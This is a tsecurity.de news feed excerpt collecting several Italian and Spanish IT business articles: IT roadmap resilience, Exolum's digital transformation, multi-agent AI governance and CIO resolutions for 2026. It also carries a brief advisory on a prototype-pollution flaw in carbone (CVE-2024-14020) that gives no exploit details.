<p><a href="https://www.westmonroe.com/insights/tech-trends" rel="nofollow"><strong>Come afferma la società di consulenza tecnologica West Monroe [in inglese]</strong></a>: “Non avete bisogno di piani più grandi, avete bisogno di mosse più veloci”. Questo è un mantra appropriato per lo sviluppo della roadmap IT oggi.</p>



<p>I CIO dovrebbero chiedersi da dove arriveranno i più probabili elementi di disturbo per i piani aziendali e tecnologici. Ecco alcuni dei principali candidati:</p>



<p><strong>Resilienza organizzativa e gestione del rischio:</strong> l’azienda è preparata per lo spostamento di posti di lavoro e le <a href="https://www.cio.com/article/4066676/what-an-it-career-will-look-like-in-5-years-and-how-to-thrive-through-the-changes.html"><strong>ridefinizioni dei ruoli [in inglese]</strong></a> che si verificheranno man mano che verranno implementate più automazione e AI? I dipendenti saranno adeguatamente formati ed equipaggiati con le competenze e le tecnologie che dovranno essere utilizzate in un nuovo ambiente aziendale? E i sistemi? Quali sistemi probabilmente terranno il passo con il tasso di cambiamento tecnologico e <a href="https://www.cio.com/article/4042435/the-incredibly-shrinking-shelf-life-of-it-solutions.html"><strong>quali no [in inglese]</strong></a>? Qual è il Piano B se un sistema viene improvvisamente reso obsoleto o inoperativo?</p>



<p><strong>Sicurezza:</strong> l’AI sarà utilizzata sia da attori buoni che cattivi, ma mentre i cattivi attori iniziano a <a href="https://www.csoonline.com/article/4101936/ignoring-ai-in-the-threat-chain-could-be-a-costly-mistake-experts-warn.html"><strong>colpire le organizzazioni con attacchi assistiti dall’intelligenza artificiale [in inglese]</strong></a>, l’IT interno ha gli strumenti e le competenze giuste per respingere questi attacchi e rispondere? O l’IT può sviluppare un approccio più preventivo per rilevare, anticipare e prepararsi a nuove minacce alla sicurezza basate sull’AI? Il vostro team di sicurezza possiede gli ultimi strumenti e competenze di sicurezza AI per fare questo lavoro? E da un’altra prospettiva: Avete la strategia, le competenze e la tecnologia per <a href="https://www.csoonline.com/article/4033338/how-cybersecurity-leaders-are-securing-ai-infrastructures.html"><strong>difendere adeguatamente la vostra stessa infrastruttura di intelligenza artificiale [in inglese]</strong></a> quando sorgono attacchi contro di essa?</p>



<p><strong>Catene di approvvigionamento:</strong> il panorama geopolitico sta cambiando rapidamente. L’azienda, incluso l’IT, è pronta a passare a fornitori alternativi e rotte della catena di approvvigionamento se i fornitori attuali o le rotte della catena di approvvigionamento subiscono un impatto negativo? E i sistemi possono tenere il passo con questi cambiamenti?</p>



<p><strong>Failover (Garantire la continuità operativa):</strong> avete sistemi ridondanti in atto se si verifica un evento disastroso in una particolare geozona e dovete eseguire il failover? E se i vostri sistemi, l’AI e l’automazione diventano totalmente inoperativi, l’azienda ha in organico dipendenti che possono tornare ai processi manuali se necessario?</p>



<h2 class="wp-block-heading">Sviluppare una roadmap IT resiliente</h2>



<p>Comprensibilmente, i CIO possono sviluppare roadmap tecnologiche rivolte al futuro solo con ciò che vedono in un momento presente nel tempo. Tuttavia, hanno la capacità di migliorare la qualità delle loro roadmap rivedendo e revisionando questi piani più spesso.</p>



<p>Oggi, la carenza in molte aziende è che la leadership scrive piani strategici solo come esercizio annuale. Dato il tasso di cambiamento della tecnologia, mettere via una roadmap IT per 12 mesi senza revisioni periodiche e modifiche per adattarsi ai cambiamenti dirompenti non è più fattibile. I CIO dovrebbero rivedere le roadmap IT almeno trimestralmente. Se queste ultime devono essere alterate, i CIO dovrebbero comunicare ai loro CEO, ai consigli di amministrazione e ai colleghi di livello C cosa sta succedendo e perché. In questo modo, nessuno sarà sorpreso quando dovranno essere apportate modifiche.</p>



<p>Man mano che i CIO si impegnano maggiormente con le linee di business, possono anche mostrare come i cambiamenti tecnologici influenzeranno le operazioni e le finanze aziendali prima che questi cambiamenti avvengano. Possono avvisare il consiglio e la direzione di nuovi fattori di rischio che probabilmente sorgeranno dall’IA e da altre tecnologie dirompenti, e garantire che queste interruzioni e rischi siano considerati nel piano di gestione del rischio aziendale. In questo modo, i CIO possono mantenere l’allineamento del piano strategico IT e della roadmap con la strategia aziendale.</p>



<p>Ugualmente importante è sottolineare che un cambiamento sismico nella direzione della roadmap tecnologica potrebbe avere un impatto sui budget.</p>



<p>Ad esempio, se le minacce alla sicurezza guidate dall’IA iniziano a colpire l’IA aziendale e i sistemi generali, l’IT avrà bisogno di strumenti e competenze pronti per l’IA per difendere e mitigare queste minacce. È possibile che debba essere fatta un’eccezione di budget o una riallocazione di fondi affinché le giuste tecnologie e formazione possano essere acquisite. Problemi finanziari possono sorgere anche sulle catene di approvvigionamento aziendali o IT se un particolare fornitore è improvvisamente non disponibile e/o devono essere trovate rotte di fornitura alternative.</p>



<p>Infine, la formazione del personale IT dovrebbe diventare un elemento standard nelle roadmap IT, e non solo un’opzione. Le roadmap IT passate avevano la tendenza a soffermarsi solo sulle previsioni tecnologiche e di sistema, omettendo spesso elementi come la riqualificazione della forza lavoro.</p>



<p>Con il rapido cambiamento tecnologico, la riqualificazione del personale dovrebbe essere una loro componente obbligatoria perché è l’unico modo per pianificare e garantire che l’IT rimanga all’altezza del compito di lavorare con le nuove tecnologie. La riqualificazione dovrebbe includere anche piani di formazione trasversale per i membri del personale IT in modo che siano in grado di lavorare in più ruoli se l’IT deve reindirizzare rapidamente le risorse.</p>



<h2 class="wp-block-heading">Ripensare – o rimpiangere</h2>



<p>Come disse una volta Benjamin Franklin: “Fallendo nel prepararsi, ci si sta preparando a fallire”.</p>



<p>Ora è il momento per i CIO di trasformare la roadmap IT in un documento più malleabile e reattivo che possa accogliere i cambiamenti dirompenti nel business e nella tecnologia che le aziende probabilmente sperimenteranno.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Exolum acelera su transformación digital para acompañar su crecimiento y la transición energética]]></title>
<description><![CDATA[En un contexto marcado por la transición energética, la presión regulatoria y la necesidad de operar de forma cada vez más eficiente a escala global, la transformación digital se ha convertido en un pilar estratégico para compañías industriales y logísticas como Exolum. La antigua CLH, hoy presen...]]></description>
<link>https://tsecurity.de/de/3199974/it-security-nachrichten/exolum-acelera-su-transformacin-digital-para-acompaar-su-crecimiento-y-la-transicin-energtica/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3199974/it-security-nachrichten/exolum-acelera-su-transformacin-digital-para-acompaar-su-crecimiento-y-la-transicin-energtica/</guid>
<pubDate>Wed, 07 Jan 2026 16:06:15 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>En un contexto marcado por la transición energética, la presión regulatoria y la necesidad de operar de forma cada vez más eficiente a escala global, la transformación digital se ha convertido en un pilar estratégico para compañías industriales y logísticas como <strong>Exolum</strong>. La <strong>antigua CLH</strong>, hoy presente en once países y con una facturación cercana a los 1.000 millones de euros, afronta un momento decisivo: adaptar un negocio históricamente ligado a los hidrocarburos a un futuro en el que las infraestructuras, los datos y la tecnología serán claves para seguir siendo relevantes.</p>



<p>La empresa centra su actividad en el transporte de gasolinas y gasóleos a través de una de las mayores redes de oleoductos de Europa, el almacenamiento de líquidos (principalmente hidrocarburos, aunque en algunos países también productos químicos) y el suministro de combustible a la aviación, con distintos modelos operativos. Sin embargo, la empresa se encuentra en un momento crucial, ya que tanto la Unión Europea como el resto del mundo quieren dejar de utilizar hidrocarburos, y “nosotros tenemos que aprender a reutilizar nuestras infraestructuras para las nuevas energías que vayan llegando”, explica <strong>Alfonso Álvarez, director de IT de Exolum</strong>.</p>



<h2 class="wp-block-heading">Una digitalización que viene de lejos</h2>



<p>Aunque el reto actual es enorme, la digitalización no es un proceso nuevo en la compañía. Exolum comenzó a apoyarse de forma intensiva en la tecnología a principios de los años 2000, con la implantación de sistemas operacionales (OT) en plantas y oleoductos. Desde entonces, distintos planes estratégicos han ido renovando plataformas y modernizando sistemas. “Es un proceso continuo que se ha ejecutado a lo largo de todo este siglo”, señala Álvarez.</p>



<p>Hoy, buena parte de la operativa diaria de la compañía se gestiona de forma centralizada y automatizada. La red de productos y las terminales de carga de camiones funcionan con equipos muy reducidos gracias a sistemas tecnológicos avanzados. El acceso de los camiones, por ejemplo, se realiza mediante reconocimiento automático de matrículas, y los sistemas indican al conductor qué manguera utilizar y cuándo ha finalizado la carga, sin intervención humana directa. “La tecnología lleva mucho tiempo teniendo un papel fundamental en Exolum, especialmente en la ejecución del negocio”, explica Álvarez.</p>



<p>El siguiente gran reto para la tecnología es, según Álvarez, “el crecimiento: Exolum es una compañía en expansión y la tecnología no solo debe acompañar ese crecimiento, sino apoyarlo desde el inicio. En eso estamos ahora: tomando decisiones y ejecutando proyectos que nos permitan hacerlo”.</p>



<h2 class="wp-block-heading">TI global para una compañía en expansión</h2>



<p>El punto de inflexión más reciente llegó tras la pandemia. El crecimiento internacional de Exolum, impulsado por adquisiciones en Reino Unido, Estados Unidos y otros mercados, llevó a la compañía a crear un área de TI global. “Se entendió que la aproximación tenía que ser global, para dar cobertura a todos los negocios en todas las geografías”, explica Álvarez, que se incorporó a la compañía hace tres años y medio con ese objetivo.</p>



<p>El modelo actual se apoya en una estructura dual: una capa global y otra local. A nivel global se concentran los sistemas corporativos —finanzas, control, recursos humanos o mantenimiento de activos—, mientras que los sistemas más ligados a la operación física se mantienen de forma local para preservar la flexibilidad. Esta arquitectura permite, según el responsable de IT, “ver la compañía como una sola entidad y no como una sucesión de pequeñas empresas locales”.</p>



<p>El área de tecnología cuenta en la actualidad con unas 70 personas, entre equipos globales y locales, y se apoya de forma permanente en entre 100 y 150 profesionales externos. El foco no está en el desarrollo de software propio en España, sino en la gestión de proyectos y en garantizar que los socios tecnológicos cumplen los requisitos de calidad y funcionalidad.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?quality=50&amp;strip=all" alt="Alfonso Álvarez, CIO de Exolum" class="wp-image-4113843" srcset="https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?quality=50&amp;strip=all 800w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?resize=300%2C188&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?resize=768%2C480&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?resize=269%2C168&amp;quality=50&amp;strip=all 269w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?resize=134%2C84&amp;quality=50&amp;strip=all 134w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?resize=576%2C360&amp;quality=50&amp;strip=all 576w, https://b2b-contenthub.com/wp-content/uploads/2026/01/Alfonso-Alvarez-Exolum.jpg?resize=400%2C250&amp;quality=50&amp;strip=all 400w" width="800" height="500" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption"><p><strong>Alfonso Álvarez.</strong></p>
</figcaption></figure><p class="imageCredit">Exolum</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>El crecimiento internacional de Exolum, impulsado por adquisiciones en Reino Unido, Estados Unidos y otros mercados, llevó a la compañía a crear un área de TI global “para dar cobertura a todos los negocios en todas las geografías”, explica Alfonso Álvarez, su CIO</em></strong></p></blockquote></figure>



<h2 class="wp-block-heading">Inteligencia artificial y datos al servicio del negocio</h2>



<p>En los últimos años, Exolum ha intensificado el uso de tecnologías avanzadas, especialmente la inteligencia artificial. La compañía ya emplea herramientas como Copilot en entornos corporativos y en SAP para mejorar la productividad de los equipos. “El objetivo es liberar tiempo para que las personas puedan dedicarse a tareas de mayor valor añadido”, apunta Álvarez.</p>



<p>La IA también se aplica directamente en procesos críticos del negocio, como la planificación del movimiento de productos en la red de oleoductos, un sistema altamente complejo que requiere análisis matemáticos avanzados. Además, Exolum está desarrollando un marco propio de gobierno de la inteligencia artificial y soluciones de AIOps, así como copilotos específicos para distintas áreas.</p>



<p>Pese a operar en un sector tradicional, la compañía no percibe una gran resistencia al cambio tecnológico. La fuerte presencia de perfiles de ingeniería y el impulso de las iniciativas desde el propio negocio han facilitado la adopción. A ello se suma un área específica de digitalización, separada del IT tradicional, que explora nuevos casos de uso y promueve la innovación mediante <em>hackatones</em> y programas de formación interna.</p>



<h2 class="wp-block-heading">Modernización de su gestión financiera</h2>



<p>Dentro de esta estrategia global, Exolum ha dado un paso relevante en la modernización de su gestión financiera con la implantación de la plataforma de tesorería Kyriba, con el apoyo de la consultora All CMS. El proyecto se enmarca en la migración de SAP R/3 a SAP S/4HANA y responde a la necesidad de disponer de una visión global y centralizada de la tesorería en un entorno cada vez más internacional.</p>



<p>Según explica Alfonso Álvarez, tras la implantación de S/4HANA se detectaron “limitaciones en la gestión de tesorería que no permitían trabajar con el nivel de control que necesitábamos”, lo que llevó a buscar una solución específica. La adopción de Kyriba ha permitido mejorar el control de la posición de tesorería, automatizar procesos y reducir la dependencia de tareas manuales.</p>



<p>Desde el área financiera destacan que la herramienta ofrece una mayor visibilidad de los flujos de caja, refuerza la seguridad y está preparada para acompañar el crecimiento futuro del grupo. “La mejora para el área es tan clara que queremos seguir evolucionando la solución e incorporar más procesos”, señala Álvarez.</p>



<h2 class="wp-block-heading">El salto a la nube, próximo gran hito</h2>



<p>Mirando al corto y medio plazo, uno de los proyectos más relevantes es la salida progresiva de los <em>data centers</em> propios. El objetivo es que, a finales de 2026, Exolum opere con un modelo multinube para toda su TI. “Necesitamos sistemas escalables y fácilmente desplegables que acompañen un crecimiento multinacional”, subraya Álvarez. Un cambio que, sin ser disruptivo en apariencia, supone un paso clave para sostener la evolución futura del grupo.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-14020 | carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e Formatter lib/input.js prototype pollution]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e. This impacts an unknown function of the file lib/input.js of the component Formatter Handler. Executing a manipulation can lead to improperly controlled modificatio...]]></description>
<link>https://tsecurity.de/de/3199644/sicherheitsluecken/cve-2024-14020-carboneio-carbone-up-to-fbcd349077ad0e8748be73eab2a82ea92b6f8a7e-formatter-libinputjs-prototype-pollution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3199644/sicherheitsluecken/cve-2024-14020-carboneio-carbone-up-to-fbcd349077ad0e8748be73eab2a82ea92b6f8a7e-formatter-libinputjs-prototype-pollution/</guid>
<pubDate>Wed, 07 Jan 2026 14:07:08 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/?kb.risk">problematic</a>, was found in <a href="https://vuldb.com/?product.carboneio:carbone">carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e</a>. This impacts an unknown function of the file <em>lib/input.js</em> of the component <em>Formatter Handler</em>. Executing a manipulation can lead to improperly controlled modification of object prototype attributes.

This vulnerability is tracked as <a href="https://vuldb.com/?source_cve.339503">CVE-2024-14020</a>. The attack can be launched remotely. No exploit exists.

You should upgrade the affected component.

A successful exploitation can "only occur if the parent NodeJS application has the same security issue".]]></content:encoded>
</item>
<item>
<title><![CDATA[Del asistente al aliado: cuando la tecnología aprende a colaborar]]></title>
<description><![CDATA[La inteligencia artificial ha dejado de ser un interlocutor único que responde a una orden y se marcha. La nueva etapa, ya visible en las implementaciones empresariales, se apoya en equipos digitales de agentes especializados que colaboran entre sí para entender el contexto, utilizar herramientas...]]></description>
<link>https://tsecurity.de/de/3199270/it-security-nachrichten/del-asistente-al-aliado-cuando-la-tecnologa-aprende-a-colaborar/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3199270/it-security-nachrichten/del-asistente-al-aliado-cuando-la-tecnologa-aprende-a-colaborar/</guid>
<pubDate>Wed, 07 Jan 2026 11:21:27 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La inteligencia artificial ha dejado de ser un interlocutor único que responde a una orden y se marcha. La nueva etapa, ya visible en las implementaciones empresariales, se apoya en equipos digitales de agentes especializados que colaboran entre sí para entender el contexto, utilizar herramientas, ejecutar código y validar su propio trabajo antes de mostrar un resultado. No hablamos de una moda pasajera, sino de la maduración de una corriente con raíces en los años noventa y que hoy, gracias a los modelos de lenguaje, resulta por fin útil a gran escala.</p>



<h2 class="wp-block-heading">La inteligencia artificial deja de ser un monólogo</h2>



<p>La diferencia decisiva no está tanto en la interfaz como en la arquitectura. Un modelo generativo es pasivo: predice la siguiente palabra. Un agente es activo: decide qué herramientas usar, cómo actuar y cuándo solicitar supervisión humana. En la práctica, el comportamiento del agente se gobierna en la capa de código del cliente —la parte que realmente controlamos— mientras que el modelo aporta comprensión del lenguaje y generalización. Esa separación, modelo más código y herramientas, permite diseñar permisos, límites de autonomía, y un registro pormenorizado de cada paso que se da.</p>



<h2 class="wp-block-heading">La paradoja del “tiempo”, generando confianza</h2>



<p>Cuando varios agentes cooperan, emerge una paradoja: la respuesta puede tardar unos segundos más, pero el sistema está trabajando de verdad. No conviene ocultar ese tiempo; conviene explicarlo. Mostrar progreso, compartir hallazgos intermedios y, si procede, notificar asincrónicamente qué está verificando cada componente convierte la espera en un activo de confianza. Esta experiencia no es estética: conecta con “negocio” porque reduce retrabajo, evita errores y facilita auditorías. En ambientes corporativos complejos —pensemos en una gran intranet con aplicaciones de RR. HH., finanzas y TI— los agentes de cada dominio pueden coordinarse entre bastidores para resolver una solicitud del empleado sin obligarle a saltar de una interfaz a otra.</p>



<h2 class="wp-block-heading">El “desacuerdo saludable”</h2>



<p>Otra lección que estamos aprendiendo es que los agentes no deben estar siempre de acuerdo. En determinadas tareas, introducir desacuerdos controlados y mecanismos de negociación entre agentes eleva la calidad del resultado; el consenso fácil es un riesgo. Diseñar esa interacción requiere protocolos de interoperabilidad y reglas claras de resolución de conflictos, con supervisión humana en los hitos que así lo exijan.</p>



<h2 class="wp-block-heading">Una nueva gramática de la interacción</h2>



<p>Todo esto necesita gobernanza viva. En materia de controles deben de existir varios niveles: límites de autonomía, permisos por tarea y, sobre todo, observabilidad: agentes que monitorizan a otros agentes, detección de bucles o derivas y ‘kill‑switches’ operativos cuando la evidencia de incertidumbre supera umbrales fijados por “negocio”. La idea central es simple: la confianza no nace de una promesa, nace de registros verificables y de una toma de decisiones que puede auditarse.</p>



<p>El avance de esta arquitectura viene acompañado por investigaciones con impacto directo en costes: el uso de tecnología para el postentrenamiento de modelos de lenguaje a gran escala. Frente a enfoques tradicionales basados en refuerzo, es posible ofrecer estabilidad, menor dependencia de datos etiquetados y un ajuste más eficiente para tareas específicas. También lo es acelerar la construcción de sistemas de agentes en entornos reales y facilitar su adopción de forma neutral respecto a nubes y modelos. Esta capa de orquestación separa el modelo —opaco por naturaleza— del código empresarial —totalmente controlable— y crea el espacio donde aplicar políticas de acceso, cifrado, segregación de datos y cumplimiento normativo sin renunciar a la productividad.</p>



<h2 class="wp-block-heading">De asistente a aliado digital</h2>



<p>No conviene olvidar un hecho incómodo pero liberador: los LLM no “saben” en sentido humano; “predicen”. Asumirlo ayuda a diseñar sistemas más responsables. La precisión, la robustez y la eficiencia ya no dependen únicamente de la calidad del modelo, sino de cómo los agentes estructuran la tarea, verifican sus pasos, consultan fuentes confiables y piden ayuda cuando la incertidumbre lo exige. En ese equilibrio entre autonomía y control está la clave para convertir la IA en un aliado que mueve los indicadores del negocio, no solo en un asistente ingenioso.</p>



<h2 class="wp-block-heading">El reto de diferenciarse</h2>



<p>Estamos entrando en una etapa en la que la tecnología no solo responde: colabora, explica y es totalmente auditable. Las organizaciones que adopten un enfoque de agentes con una arquitectura clara (modelo + código + herramientas), interoperabilidad real, negociación entre componentes y gobernanza activa serán las que transformen su experiencia digital en valor medible. La velocidad seguirá importando, pero la profundidad, la trazabilidad y el impacto sobre los KPI marcarán la diferencia.</p>



&gt;<figure class="wp-block-media-text__media"><img decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/01/antonio-gallego.jpg?quality=50&amp;strip=all" alt="Antonio Gallego (Cognizant)" class="wp-image-4113672 size-full" loading="lazy" width="400px"></figure><div class="wp-block-media-text__content">
<p><strong><em>El autor de este artículo es <a href="https://www.linkedin.com/in/antonio-gallego-ortiz-08714728/" target="_blank" rel="nofollow">Antonio Gallego</a>, responsable de Artificial Intelligence &amp; Data Analytics para España, Portugal e Italia en <a href="https://www.cognizant.com/es/es" target="_blank" rel="nofollow">Cognizant</a></em></strong></p>
</div></div>



<p></p>
</div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[9 resoluciones de TI para 2026]]></title>
<description><![CDATA[Los CIO están definiendo resoluciones ambiciosas para el nuevo ejercicio: aspiraciones y líneas de actuación orientadas a transformar sus áreas tecnológicas y a demostrar el valor que la función de TI aporta al negocio. Como cabía esperar, muchos de estos objetivos giran en torno a la inteligenci...]]></description>
<link>https://tsecurity.de/de/3199198/it-security-nachrichten/9-resoluciones-de-ti-para-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3199198/it-security-nachrichten/9-resoluciones-de-ti-para-2026/</guid>
<pubDate>Wed, 07 Jan 2026 10:49:56 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Los CIO están definiendo resoluciones ambiciosas para el nuevo ejercicio: aspiraciones y líneas de actuación orientadas a transformar sus áreas tecnológicas y a demostrar el valor que la función de TI aporta al negocio. Como cabía esperar, muchos de estos objetivos giran en torno a la inteligencia artificial, aunque la IA no es el único frente prioritario en la agenda tecnológica de 2026.</p>



<p>Para conocer de primera mano qué esperan lograr los líderes de TI, hemos pedido a varios CIO que compartan sus principales ambiciones. Estas son las resoluciones que se han marcado para el próximo año.</p>



<h2 class="wp-block-heading">1. Mejorar la calidad de los resultados de la IA</h2>



<p>Neal Ramasamy, CIO de Cognizant, asegura que su principal objetivo es elevar la calidad de la IA y de los resultados generados por los agentes. Para ello, tiene previsto, entre otras iniciativas, implantar pequeños modelos de lenguaje diseñados de manera específica para comprender el contexto propio de la organización.</p>



<p>“Hemos implementado más de 180 soluciones de IA y el patrón es claro: los grandes modelos de lenguaje proporcionan una inteligencia general sólida, pero para lograr resultados altamente específicos y aplicables se requieren soluciones especializadas, adaptadas a nuestros ámbitos concretos”, reconoce, para añadir: “Estos modelos diseñados a medida impulsarán mejoras en el soporte de TI, finanzas, recursos humanos, operaciones, contratos y el área legal, lo que nos permitirá pasar de simples sugerencias que requieren refinamiento a recomendaciones que los equipos puedan poner en práctica de inmediato”.</p>



<p>Para hacerlo posible, Cognizant está invirtiendo en su propia infraestructura de GPU. Se trata, según Ramasamy, de “una medida estratégica que nos proporciona la capacidad de procesamiento necesaria para entrenar estos modelos internamente, al tiempo que controlamos los costes y reducimos la dependencia de servicios <em>cloud</em> de terceros”.</p>



<p>Por eso cree que “el éxito en 2026 significará lanzar varios modelos especializados que ofrezcan resultados realmente accionables en funciones clave. Esta resolución no sólo tiene que ver con el liderazgo interno, sino también con demostrar lo que es posible cuando la IA se diseña específicamente para generar impacto”.</p>



<h2 class="wp-block-heading">2. Ampliar la IA agéntica</h2>



<p>El gran objetivo para 2026 de Janardhan Santhanam, CIO de Tata Consultancy Services, es escalar la IA agéntica en toda la organización y establecer el estándar de un modelo operativo óptimo que combine agentes con aplicaciones y agentes con personas.</p>



<p>Por eso señala que avanzar en esta dirección supondrá una auténtica “redefinición del trabajo y de la mayoría de las funciones dentro de la empresa”. Además, requerirá ampliar la gobernanza de los agentes mediante políticas de autonomía, cumplimiento y responsabilidad en un ecosistema de plataformas de agentes federadas.</p>



<h2 class="wp-block-heading">3. Dominar la gestión de la nueva fuerza de trabajo de agentes</h2>



<p>Uno de los principales objetivos de Matt Lyteson para 2026 es dominar la gestión de la emergente fuerza de trabajo de agentes, una prioridad que sitúa sólo por detrás de “redoblar los esfuerzos para orientarse a resultados desde una perspectiva de negocio”.</p>



<p>Para Lyteson, esto implica saber dónde se despliegan los agentes, qué funciones desempeñan y a qué información acceden, así como garantizar que operan dentro de los marcos de seguridad y gobernanza definidos por la organización.</p>



<p>En su opinión, el reto es comparable a la gestión de la plantilla humana; y subraya que la identidad es clave para la gestión de accesos, tanto en el caso de un agente de IA como en el de un empleado.</p>



<p>No obstante, la gestión técnica es solo una parte del desafío. Lyteson también quiere facilitar que las personas trabajen con éxito junto a los agentes. “Esto requerirá un cambio organizativo real y animar a las personas a utilizar estas herramientas”, afirma, destacando que concibe a los agentes como “compañeros de equipo”, además de como herramientas.</p>



<p>Reconoce que no todo el mundo comparte esta visión. Por ello, su enfoque pasa por demostrar los beneficios de la IA agéntica como vía para lograr que los empleados más escépticos colaboren con los agentes. “Hemos comprobado que imponer el uso de herramientas no funciona. Lo ideal es que las personas las vean como compañeros de equipo a los que pueden sacar partido, y eso se consigue mostrando claramente los aspectos positivos”, concluye Lyteson.</p>



<h2 class="wp-block-heading">4. “Asegurarse de que la IA realmente ayuda a las personas”</h2>



<p>Dan Shmitt, CIO de Salesforce, también quiere poner el foco en el valor práctico de la IA en 2026. “Cuando miro hacia el próximo año —afirma—, mi objetivo es claro: asegurarme de que la IA ayude realmente a las personas a hacer mejor su trabajo y no genere pasos adicionales ni confusión. En última instancia, se trata de aligerar el trabajo. La tecnología debe apoyar a las personas, y no al revés”.</p>



<p>Para lograrlo, Shmitt ha definido una estrategia clara. En primer lugar, reforzar la base de datos corporativa. Recuerda un incidente en el que un agente de IA del portal de soporte de Salesforce ofreció dos respuestas contradictorias. “Nuestra reacción inicial fue pensar que el modelo estaba fallando, pero la realidad es que nuestros datos y contenidos necesitaban mayor coherencia. Esa experiencia reforzó la importancia de contar con datos limpios y fiables para que cualquier sistema de IA funcione correctamente”.</p>



<p>En segundo lugar, insiste en la necesidad de integrar la IA directamente en los flujos de trabajo. “Si las personas tienen que interrumpir lo que están haciendo para utilizar la IA, la adopción se resentirá. En 2026 quiero que el camino impulsado por IA sea natural, intuitivo y más sencillo que los métodos tradicionales”.</p>



<p>Por último, Shmitt quiere ayudar a los empleados a sentirse seguros en el uso de la IA. “Buena parte de la reticencia proviene de no saber cuándo confiar en un agente y cuándo intervenir —explica—. El papel del CIO pasa ahora por ofrecer claridad, formación adecuada y canales de comunicación sencillos para que las personas aprendan sobre la marcha”.</p>



<h2 class="wp-block-heading">5. Equilibrar la innovación con la humanidad</h2>



<p>Pat Lawicki, CIO de TruStage, proveedor de seguros, inversión y tecnología, comparte una ambición similar: equilibrar la innovación tecnológica con la atención a las personas que la utilizan.</p>



<p>“Mi prioridad para el próximo año —detalla— es dotar a nuestros equipos de las habilidades, el contexto y las barreras de seguridad necesarias para utilizar estas tecnologías de forma responsable y con confianza. Estamos comprometidos a equilibrar la innovación con la humanidad: aprovechar las herramientas digitales cuando aportan un valor real, sin perder la conexión humana que sustenta la confianza y la empatía. La tecnología puede agilizar los procesos, pero necesita la intuición y el juicio humanos”.</p>



<p>Lawicki matiza que más que resoluciones anuales se trata de compromisos a largo plazo. “Las organizaciones están adoptando nuevas tecnologías a la vez que se enfrentan a un cambio acelerado en la forma de trabajar y en las expectativas de los clientes. Ese viaje continúa, y mi función es guiar a la empresa con claridad, confianza y empatía”.</p>



<h2 class="wp-block-heading">6. Mejorar la comunicación del valor de TI</h2>



<p>Mejorar la forma en que se comunica el valor del área de TI es uno de los objetivos que se ha marcado Rebecca Gasser, Global CIO de FGS Global. Reconoce que los éxitos tecnológicos a menudo pasan desapercibidos. Por eso admite que “no hacemos un buen trabajo promocionándonos”.</p>



<p>Gasser ha comprobado en primera persona que muchas actualizaciones de TI no se leen y quiere cambiar esa dinámica en 2026. En lugar de informes extensos o boletines mensuales, su plan es comunicar los logros en pequeñas dosis.</p>



<p>“Hay éxitos que podríamos haber celebrado internamente en TI y que, en lugar de eso, voy a difundir en toda la organización para abrir la comunicación”, explica, para apostillar: “Estoy siendo muy cuidadosa en cómo lo comunico, centrándome en el impacto en el negocio y no en la tecnología, y utilizando el nivel adecuado de contenido y elementos visuales para que todo el mundo entienda de dónde venimos”.</p>



<h2 class="wp-block-heading">7. Mejorar los conocimientos tecnológicos y de IA de toda la plantilla</h2>



<p>Otro de los objetivos de Gasser es elevar el nivel de conocimientos tecnológicos y de IA en toda la organización. Considera que una mayor alfabetización digital ayudará a los empleados a ser más ágiles y adaptables en un entorno de cambio constante.</p>



<p>“Quiero invitar a la organización a ser curiosa. El próximo año será clave en nuestra transformación y necesitamos preparar a las personas para el cambio a medida que nos acercamos a 2026”, señala.</p>



